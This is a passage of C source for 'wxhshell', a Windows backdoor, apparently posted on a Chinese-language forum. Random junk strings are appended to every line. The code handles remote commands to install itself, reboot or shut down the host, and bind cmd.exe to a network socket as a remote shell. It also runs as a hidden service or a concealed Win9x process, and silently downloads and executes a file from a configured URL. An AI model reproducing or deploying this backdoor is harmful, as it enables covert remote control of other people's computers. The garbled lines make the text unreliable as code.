  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O8y9dX-2  
  } ;W6-i2?  
  else { Vd<K4Tk  
'kQ~  
    switch(cmd[0]) { n.ct]+L  
  CW;m  
  // 帮助 sUV>@UMnu  
  case '?': { 0 Z8/R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )cKjiXn  
    break; UFf,+4q  
  } #D0W7 a  
  // 安装 K:a3+k d  
  case 'i': { ll2Vk*xs  
    if(Install()) I*( 1.%:m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H`gb}?9R  
    else  J `x}{K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Y(9\}E@`  
    break; bBG/gQ  
    } N6q5`Ry  
  // 卸载 {#9,j]<  
  case 'r': { qy&\Xgn;GA  
    if(Uninstall()) J'Gm7h{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2qXo{C3  
    else k}s+ca!B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;AJ< LC  
    break; v8  
    } `V@z&n0P6  
  // 显示 wxhshell 所在路径 Ih3$  
  case 'p': { 6%UY1Q.?  
    char svExeFile[MAX_PATH]; 3fl7~Lw,  
    strcpy(svExeFile,"\n\r"); xl9(ze  
      strcat(svExeFile,ExeFile); Uuz?8/w}#  
        send(wsh,svExeFile,strlen(svExeFile),0); - f 4>MG  
    break; !xymoiArp  
    } pl?kS8#U?  
  // 重启 k,lqT>C  
  case 'b': { l#ZyB|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %p*`h43;  
    if(Boot(REBOOT)) iJ4 <f->t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Co b(C&}  
    else { }k| g%H J  
    closesocket(wsh); sjb-Me?  
    ExitThread(0); VfRs[ 3Q  
    } 3A d*,>!  
    break; P#v^"}.Wd  
    } "f<#.}8  
  // 关机 =1IEpxh%  
  case 'd': { ?yf_Dt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B>@D,)/bT5  
    if(Boot(SHUTDOWN)) 9 ?(x>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T\fudmj&  
    else { Az9J\V~"  
    closesocket(wsh); b*`fLrqV.  
    ExitThread(0); CC>($k"  
    } L&QtHSzy  
    break; Q K j1yG0i  
    } ?R282l  
  // 获取shell { Hr>X  
  case 's': { U&X.  
    CmdShell(wsh); H4 =IY  
    closesocket(wsh); U1jSUkqb  
    ExitThread(0); I:HV6_/^-G  
    break; ]1tN|ODY*W  
  } PF`:1;P U  
  // 退出 m|mG;8}pI  
  case 'x': { hwp/jO:7\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wa2~C [  
    CloseIt(wsh); Hva{A #  
    break; a}w&dE$!-  
    } pJn>oGeJ&  
  // 离开 Z@u ;Z[@  
  case 'q': { ]o `4Z"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RW)k_#%=  
    closesocket(wsh); &*jixqzvn  
    WSACleanup(); HwM /}-t  
    exit(1); leR" j  
    break; 418gcg6)  
        } PB@-U.Z  
  } $6Z[|9W^A  
  } ah>Dqb*  
9T/<x-FD  
  // 提示信息 sI$:V7/!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bje' Oolc  
} z30=ay1  
  } \wTW?>o Z  
IQ#So]9~Y  
  return; |\/~ 8qP  
} Etdd\^  
9a-]T=5Ee  
// shell模块句柄 S`4e@Z$  
int CmdShell(SOCKET sock) nE4l0[_  
{ vRxL&8`&  
STARTUPINFO si; a9L0f BRy  
ZeroMemory(&si,sizeof(si)); ^,>}%1\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (KZUvsSk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )2/b$i,JKk  
PROCESS_INFORMATION ProcessInfo; %$^$'6\77  
char cmdline[]="cmd"; >[hrJn[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  r^e-.,+  
  return 0; D8W(CE^}  
} '&+Z,  
ga,A'Z  
// 自身启动模式 b\H/-7<  
int StartFromService(void) U24V55ZnI  
{ eUYG96Jw  
typedef struct 4U:DJ_GN  
{ WtMcI>4w  
  DWORD ExitStatus; cS+?s=d  
  DWORD PebBaseAddress; v#w4{.8)  
  DWORD AffinityMask;  PVS\,  
  DWORD BasePriority; |I4D(#w.  
  ULONG UniqueProcessId; v!iWzN  
  ULONG InheritedFromUniqueProcessId; ^j1Gmv)  
}   PROCESS_BASIC_INFORMATION; )_WH#-}  
sY&r bJ(P  
PROCNTQSIP NtQueryInformationProcess; Idt@Hk5<&  
iFY]0@yt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zR_9D}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^o,y5 ,  
m21QN9(i%  
  HANDLE             hProcess; TZ)(ZKX*R  
  PROCESS_BASIC_INFORMATION pbi; jD$;q7fB  
|P^ikx6f5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zaQ$ Ht  
  if(NULL == hInst ) return 0; 3~#ZE;>#  
6="M0%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "~B~{ _<j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^Jc$BMaVg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &?&'"c{;m  
MA l{66  
  if (!NtQueryInformationProcess) return 0; 3ZLr"O1l)  
mOABZ#+Fk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "87O4 #$  
  if(!hProcess) return 0; N.ItyV  
0q-0zXlSL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZK W@pW]U  
}//8$Z<(  
  CloseHandle(hProcess); 94S .9A  
$@XPL~4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3^uL`ETm@  
if(hProcess==NULL) return 0; N^)<)?  
7/$nA<qM  
HMODULE hMod; nI((ki}v  
char procName[255]; $yP'k&b!  
unsigned long cbNeeded; 9J't[( u|u  
qen44;\L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  WMt&8W5  
~7FEY0/  
  CloseHandle(hProcess); P*?d6v,r  
iPR!JX _  
if(strstr(procName,"services")) return 1; // 以服务启动 :Q0?ub]  
9u-M! $  
  return 0; // 注册表启动 $_%2D3-;D  
} 'US8"83  
)of5229  
// 主模块 eHfG;NsV /  
int StartWxhshell(LPSTR lpCmdLine) G FSlYG  
{ Jv '3](  
  SOCKET wsl; N?Z+zN&P  
BOOL val=TRUE; G~Q*:m  
  int port=0; 8Iqk%n~(  
  struct sockaddr_in door; w>1l@%U o  
+?J_6Mo@X  
  if(wscfg.ws_autoins) Install(); >vNk kxWyQ  
sWqPw}/3>  
port=atoi(lpCmdLine); tIgCF?  
]DL> .<]d  
if(port<=0) port=wscfg.ws_port; ,Jw\3T1V  
.~V".tZV[  
  WSADATA data; x0TnS #  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .j+2x[`l  
Huug_E+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `SSP53R(0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J%O[@jX1  
  door.sin_family = AF_INET; NoSqzJyh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W}<M?b4tP  
  door.sin_port = htons(port); "OlI-^y  
ys~p(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NUxAv= xl  
closesocket(wsl); .wt>.mUH  
return 1; XQ+-+CD  
} @h z0:ezg:  
_mI:Lr#dT  
  if(listen(wsl,2) == INVALID_SOCKET) { Y`[HjS,  
closesocket(wsl); l72i e  
return 1; hCOy\[2$  
}  5Fl  
  Wxhshell(wsl); wKeSPs{x  
  WSACleanup(); S|=rF<]my  
f(9$"Vi  
return 0; gzJ{Gau{)  
7kWZMi  
} ;{F;e)${M  
}y -AoG  
// 以NT服务方式启动 4,R\3`b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?L ~=Z\H  
{ )=SYJ-ta<  
DWORD   status = 0; }X W#?l  
  DWORD   specificError = 0xfffffff; @zVBn~=i  
"cz]bCr8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gP_d >p:b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ADwwiq#E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p1`'1`.3  
  serviceStatus.dwWin32ExitCode     = 0; gen3"\Og{  
  serviceStatus.dwServiceSpecificExitCode = 0; r)Mx.`d!  
  serviceStatus.dwCheckPoint       = 0; 3<1HqU  
  serviceStatus.dwWaitHint       = 0; R;Ix<y{U  
Hhce:E@K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b$$L]$q2  
  if (hServiceStatusHandle==0) return; 6r-<XNv)0  
9O 0  
status = GetLastError(); EssUyF-jwU  
  if (status!=NO_ERROR) -$!Pf$l@  
{ v'2OHb#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kw5+4R(5  
    serviceStatus.dwCheckPoint       = 0; bju,p"J1-E  
    serviceStatus.dwWaitHint       = 0; +XaO?F[c  
    serviceStatus.dwWin32ExitCode     = status;   _c7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~]t2?SqNm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yI)RG OV  
    return; (/rIodHJO  
  } 3 v,ae7$U&  
F" #3s=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xr7<(:d  
  serviceStatus.dwCheckPoint       = 0; :O @,Z_"  
  serviceStatus.dwWaitHint       = 0; X:} 5L> '  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SJ|.% gn  
} ?RjKP3P  
yKk,);  
// 处理NT服务事件,比如:启动、停止 G4`sRaT.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p=P0$P+KM  
{ iRr& 'k  
switch(fdwControl) M6>\R$  
{ /-<m(72wF  
case SERVICE_CONTROL_STOP: HDXjH|of  
  serviceStatus.dwWin32ExitCode = 0; gV.Pg[[1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4>ce,*B1  
  serviceStatus.dwCheckPoint   = 0; b<8J;u<  
  serviceStatus.dwWaitHint     = 0; '/"M02a  
  { Qre&N _  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tZ{q\+h  
  } |(8Hk@\CT>  
  return; )bN3-_  
case SERVICE_CONTROL_PAUSE: cd%g]T)#1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4>tYMyLt0  
  break; `LHfAXKN  
case SERVICE_CONTROL_CONTINUE: 4sD:J-c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +M%2m3.Jo  
  break; !v;_@iW3e  
case SERVICE_CONTROL_INTERROGATE: +H^V},dBp!  
  break; qFsg&<  
}; o4 OEA)k)=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y Z2VP  
} j!8+|eA kk  
PHL@1K{)  
// 标准应用程序主函数 Dp |FyP_w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N %/DN  
{ r`"#c7)  
)aA9z(x  
// 获取操作系统版本  eJ\j{-  
OsIsNt=GetOsVer(); u#k6v\/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }c#/1J7  
%+W >+xRb  
  // 从命令行安装 4 AmF^H  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^{+:w:g  
]SR`96vG  
  // 下载执行文件 Gbm_xEPC  
if(wscfg.ws_downexe) { B]}V$*$ \?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +&8Ud8Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); r{jD,x2  
} !l~aRj-WZ  
[cAg'R6  
if(!OsIsNt) { X35U!1Y\  
// 如果时win9x,隐藏进程并且设置为注册表启动 %~(i[Ur;  
HideProc(); /<(ik&%N  
StartWxhshell(lpCmdLine); oi4Wxcj  
} _Vf|F  
else 'm? x2$u8  
  if(StartFromService()) fhWD>;%F%  
  // 以服务方式启动 u`2k6.-  
  StartServiceCtrlDispatcher(DispatchTable); s3!LR2qiF  
else ;<R_j%*  
  // 普通方式启动 \k-juF80  
  StartWxhshell(lpCmdLine); iC2nHZ*,  
z(68^-V=:  
return 0; Ui;s.f  
}
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只看该作者 1 发表于: 2006-10-10
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